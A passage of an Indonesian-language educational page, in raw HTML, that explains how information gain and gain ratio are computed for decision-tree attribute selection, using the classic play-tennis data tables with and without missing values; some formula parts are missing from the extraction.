a&lt;i&gt;tribute selection measure &lt;/i&gt;yang digunakan untuk memilih test atribute tiap node pada tree. Atribut dengan information gain tertinggi dipilih sebagai test atribut dari suatu node [6]. Ada 2 kasus berbeda pada saat penghitungan Information Gain, pertama untuk kasus penghitungan atribut tanpa &lt;i&gt;missing value&lt;/i&gt; dan kedua, penghitungan atribut dengan &lt;i&gt;missing value.&lt;/i&gt;&lt;/p&gt; &lt;p class="western" style="text-indent: 1.27cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p class="western" style="line-height: 150%;" lang="sv-SE"&gt;&lt;b&gt;Penghitungan  Information Gain  tanpa missing value&lt;/b&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p class="western" style="text-indent: 1.27cm; line-height: 150%;" align="justify"&gt; Misalkan S berisi &lt;i&gt;s&lt;/i&gt; data samples. Anggap atribut untuk class memiliki &lt;i&gt;m&lt;/i&gt; nilai yang berbeda, C&lt;sub&gt;i&lt;/sub&gt; (untuk i = 1, …,I). anggap s&lt;i&gt;&lt;sub&gt;i&lt;/sub&gt;&lt;/i&gt; menjadi jumlah samples S pada class C&lt;sub&gt;i&lt;/sub&gt;. &lt;span lang="sv-SE"&gt;Maka besar information-nya dapat dihitung dengan :&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="line-height: 150%;" align="center"&gt;&lt;span lang="sv-SE"&gt;I ( s&lt;sub&gt;1&lt;/sub&gt;, s&lt;sub&gt;2&lt;/sub&gt;,…,s&lt;sub&gt;m&lt;/sub&gt; ) = - &lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="line-height: 150%;" align="justify"&gt;&lt;span lang="it-IT"&gt;Dimana p&lt;sub&gt;i&lt;/sub&gt; = &lt;/span&gt;&lt;span lang="it-IT"&gt; adalah probabilitas dari sample yang mempunyai class C&lt;sub&gt;i&lt;/sub&gt;.&lt;/span&gt;&lt;/p&gt;   &lt;p style="text-indent: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;/p&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;span lang="it-IT"&gt;Misalkan atribut A mempunyai &lt;i&gt;v&lt;/i&gt; nilai yang berbeda, {a&lt;sub&gt;1&lt;/sub&gt;, a&lt;sub&gt;2&lt;/sub&gt;,...,a&lt;sub&gt;v&lt;/sub&gt;}. Atribut A dapat digunakan untuk mempartisi S menjadi &lt;i&gt;v&lt;/i&gt; subset, {S&lt;sub&gt;1&lt;/sub&gt;, S&lt;sub&gt;2&lt;/sub&gt;,...,S&lt;sub&gt;v&lt;/sub&gt;}, dimana S&lt;i&gt;&lt;sub&gt;j&lt;/sub&gt;&lt;/i&gt; berisi samples pada S yang mempunyai nilai a&lt;i&gt;&lt;sub&gt;j&lt;/sub&gt;&lt;/i&gt; dari A. Jika A terpilih menjadi test atribut (yaitu, best atribut untuk splitting), maka subset-subset akan berhubungan dengan pertumbuhan node-node cabang yang berisi S. Anggap &lt;i&gt;s&lt;sub&gt;ij&lt;/sub&gt;&lt;/i&gt;&lt;sub&gt; &lt;/sub&gt;sebagai jumlah samples class C&lt;i&gt;i&lt;/i&gt; pada subset S&lt;i&gt;&lt;sub&gt;j&lt;/sub&gt;&lt;/i&gt;. Entropy, atau nilai information dari subset A adalah :&lt;/span&gt;&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="center"&gt; &lt;span lang="it-IT"&gt;E(A) = &lt;/span&gt;&lt;span lang="it-IT"&gt; I ( s&lt;sub&gt;1&lt;/sub&gt;, s&lt;sub&gt;2&lt;/sub&gt;,…,s&lt;sub&gt;m&lt;/sub&gt; )&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="it-IT"&gt;adalah bobot dari subset &lt;i&gt;j&lt;/i&gt;th dan jumlah samples pada subset (yang mempunyai nilai a&lt;i&gt;&lt;sub&gt;j&lt;/sub&gt;&lt;/i&gt; dari A) dibagi dengan jumlah total samples pada S. Untuk subset S&lt;i&gt;&lt;sub&gt;j&lt;/sub&gt;&lt;/i&gt;,&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="center"&gt;I ( s&lt;sub&gt;1&lt;i&gt;j&lt;/i&gt;&lt;/sub&gt;, s&lt;sub&gt;2&lt;i&gt;j&lt;/i&gt;&lt;/sub&gt;,…,s&lt;sub&gt;m&lt;i&gt;j&lt;/i&gt;&lt;/sub&gt;) = - &lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Dimana p&lt;i&gt;&lt;sub&gt;ij&lt;/sub&gt;&lt;/i&gt; =  adalah probabilitas sample S&lt;sub&gt;&lt;i&gt;j&lt;/i&gt;  &lt;/sub&gt;yang mempunyai class C&lt;i&gt;i.&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Maka nilai information gain atribut A pada subset S adalah&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="center"&gt;Gain(A) = I ( s&lt;sub&gt;1&lt;/sub&gt;, s&lt;sub&gt;2&lt;/sub&gt;,…,s&lt;sub&gt;m&lt;/sub&gt; ) – E(A)&lt;/p&gt; &lt;p class="western" style="line-height: 150%;" align="justify"&gt;Sebagai contoh : kita ingin mencari apakah pegolf akan masuk class play atau don’t play berdasarkan data berikut:&lt;/p&gt; &lt;p class="western" style="text-indent: 1.27cm; line-height: 150%;" align="center"&gt; &lt;span style="font-size: 11pt;font-size:85%;" &gt;&lt;b&gt;Tabel 2.1. &lt;/b&gt;Contoh data play tennis&lt;/span&gt;&lt;/p&gt; &lt;center&gt;  &lt;table border="1" border cellpadding="7" cellspacing="0" width="402" style="color:#000000;"&gt;   &lt;col width="66"&gt;   &lt;col width="72"&gt;   &lt;col width="59"&gt;   &lt;col width="60"&gt;   &lt;col width="73"&gt;   &lt;tbody&gt;&lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Outlook&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Temperature&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Humidity&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Windy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;85&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;85&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;False&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Don’t Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;90&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;True&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Don’t Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Overcast&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;83&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;78&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;False&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;96&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;False&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;68&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;False&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;65&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;True&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Don’t Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Overcast&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;64&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;65&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;True&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;72&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;95&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;False&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Don’t Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;69&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;False&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;75&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;False&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;75&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;True &lt;/span&gt;     &lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Overcast&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;72&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;90&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;True &lt;/span&gt;     &lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Overcast&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;81&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;75&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;False&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="66"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="72"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;71&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="59"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="60"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;True&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="73"&gt;     &lt;p class="western"&gt;&lt;span style="font-size:85%;"&gt;Don’t Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;  &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt; &lt;p class="western" style="text-indent: 1.27cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="text-indent: 1.27cm; line-height: 150%;" align="justify"&gt; Dari data-data pada tabel kita akan mencoba untuk membangun sebuah classifier  yang berdasarkan atribut Outlook, Temperature, Humidity dan Windy. Disana ada dua kelas yaitu Play dan Don’t play. Dan ada 14 examples, 5 examples menyatakan Don’t Play dan  9 examples menyatakan Play. Maka,  &lt;/p&gt; &lt;p class="western" style="margin-left: 0.95cm; line-height: 150%;" align="justify"&gt; I (s&lt;sub&gt;1&lt;/sub&gt;,s&lt;sub&gt;2&lt;/sub&gt;) = I&lt;i&gt; &lt;/i&gt;(9,5) = - log&lt;sub&gt;2&lt;/sub&gt; - log&lt;sub&gt;2&lt;/sub&gt;= 0,940&lt;/p&gt; &lt;p class="western" style="line-height: 150%;"&gt;Entropy untuk atribut Outlook adalah :&lt;/p&gt; &lt;p class="western" style="margin-left: 0.95cm; line-height: 150%;"&gt;E( Outlook ) = * I (2,3) + * I (4,0) + * I (3,2)&lt;/p&gt; &lt;p class="western" style="margin-left: 0.95cm; line-height: 150%;" align="justify"&gt;           = 0,694&lt;/p&gt; &lt;p class="western" style="line-height: 150%;" align="justify"&gt;Dengan nilai Gain( Outlook) yaitu:&lt;/p&gt; &lt;p class="western" style="margin-left: 0.95cm; line-height: 150%;"&gt;Gain&lt;i&gt; &lt;/i&gt;( Outlook ) = I ( s&lt;sub&gt;1&lt;/sub&gt;, s&lt;sub&gt;2&lt;/sub&gt; ) – E(Outlook)&lt;/p&gt; &lt;p class="western" style="margin-left: 0.95cm; line-height: 150%;"&gt; = 0,94 – 0,694  &lt;/p&gt; &lt;p class="western" style="margin-left: 0.95cm; line-height: 150%;"&gt; = 0,246  &lt;/p&gt; &lt;p class="western" style="line-height: 150%;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="line-height: 150%;"&gt;dengan menggunakan cara yang sama, Gain dari semua atribut dapat dicari.&lt;/p&gt; &lt;p class="western" style="line-height: 150%;" align="justify"&gt;Gain ( Outlook)  = 0,246&lt;/p&gt; &lt;p class="western" style="line-height: 150%;" align="justify"&gt;Gain ( Humidity )  = 0,151&lt;/p&gt; &lt;p class="western" style="line-height: 150%;" align="justify"&gt;Gain ( Windy )  = 0,048&lt;/p&gt;&lt;p class="western" style="line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="line-height: 150%;" align="justify"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Gain ( Temperature)  = 0,029&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-indent: 0.64cm; margin-bottom: 0cm; line-height: 150%;"&gt; Setelah nilai information gain pada semua atribut dihitung, maka atribut yang mempunyai nilai information gain terbesar yang dipilih menjadi test atribut.&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" lang="sv-SE"&gt;&lt;b&gt;Penghitungan  Information Gain  dengan missing value&lt;/b&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="sv-SE"&gt;Untuk atribut dengan &lt;i&gt;missing value&lt;/i&gt; penghitungan information gain-nya diselesaikan dengan Gain Ratio. Sebelum menghitung gain ratio terlebih dahulu dihitung I ( s&lt;sub&gt;1&lt;/sub&gt;, s&lt;sub&gt;2&lt;/sub&gt;,…,s&lt;sub&gt;m&lt;/sub&gt; ) dan E(A).&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.95cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; I ( s&lt;sub&gt;1&lt;/sub&gt;, s&lt;sub&gt;2&lt;/sub&gt;,…,s&lt;sub&gt;m&lt;/sub&gt; ) = - &lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;     E(A) =  I ( s&lt;sub&gt;1&lt;/sub&gt;, s&lt;sub&gt;2&lt;/sub&gt;,…,s&lt;sub&gt;m&lt;/sub&gt; )&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Dimana penghitungan I ( s&lt;sub&gt;1&lt;/sub&gt;, s&lt;sub&gt;2&lt;/sub&gt;,…,s&lt;sub&gt;m&lt;/sub&gt; ) dan E(A) hanya dilakukan pada atribut yang ada nilainya.&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Kemudian untuk mencari gain dari atribut A dihitung dengan rumus sebagai berikut :&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Gain (A) = Prob S yang diketahui * E(A)&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Dimana,&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; A = atribut dengan missing value yang sedang dicari nilai gain-nya,  &lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; S = jumlah samples pada subset A yang diketahui nilainya.&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;/p&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Sedangkan nilai split pada atribut A dinyatakan dengan :&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="pl-PL"&gt;Split(A) = &lt;span style="font-size: 11pt;font-size:85%;" &gt;-u * log&lt;sub&gt;2 &lt;/sub&gt;u - &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="es-AR"&gt; Dimana,  &lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="es-AR"&gt;u adalah prob samples pada atribut A yang merupakan &lt;i&gt;missing values&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="es-AR"&gt;p&lt;i&gt;&lt;sub&gt;j&lt;/sub&gt;&lt;/i&gt; = &lt;/span&gt;&lt;span lang="es-AR"&gt; adalah probabilitas sample S&lt;sub&gt;&lt;i&gt;j&lt;/i&gt;  &lt;/sub&gt;yang diketahui nilainya.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Nilai Gain Ratio pada atribut A :&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Gain Ratio(A) = &lt;span style="font-size: 11pt;font-size:85%;" &gt;Gain(A) / Split(A)&lt;/span&gt;&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Sebagai contoh : kita ingin mencari apakah pegolf akan masuk class play atau don’t play berdasarkan data berikut:&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="center"&gt;&lt;b&gt;Tabel 2.2. data play tennis dengan missing value&lt;/b&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="center"&gt;&lt;br /&gt;&lt;/p&gt; &lt;center&gt;  &lt;table border="1" border cellpadding="7" cellspacing="0" width="409" style="color:#000000;"&gt;   &lt;col width="57"&gt;   &lt;col width="46"&gt;   &lt;col width="58"&gt;   &lt;col width="70"&gt;   &lt;col width="106"&gt;   &lt;tbody&gt;&lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Outlook&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Temp&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Humidity&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Windy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Class&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;75&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;90&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span 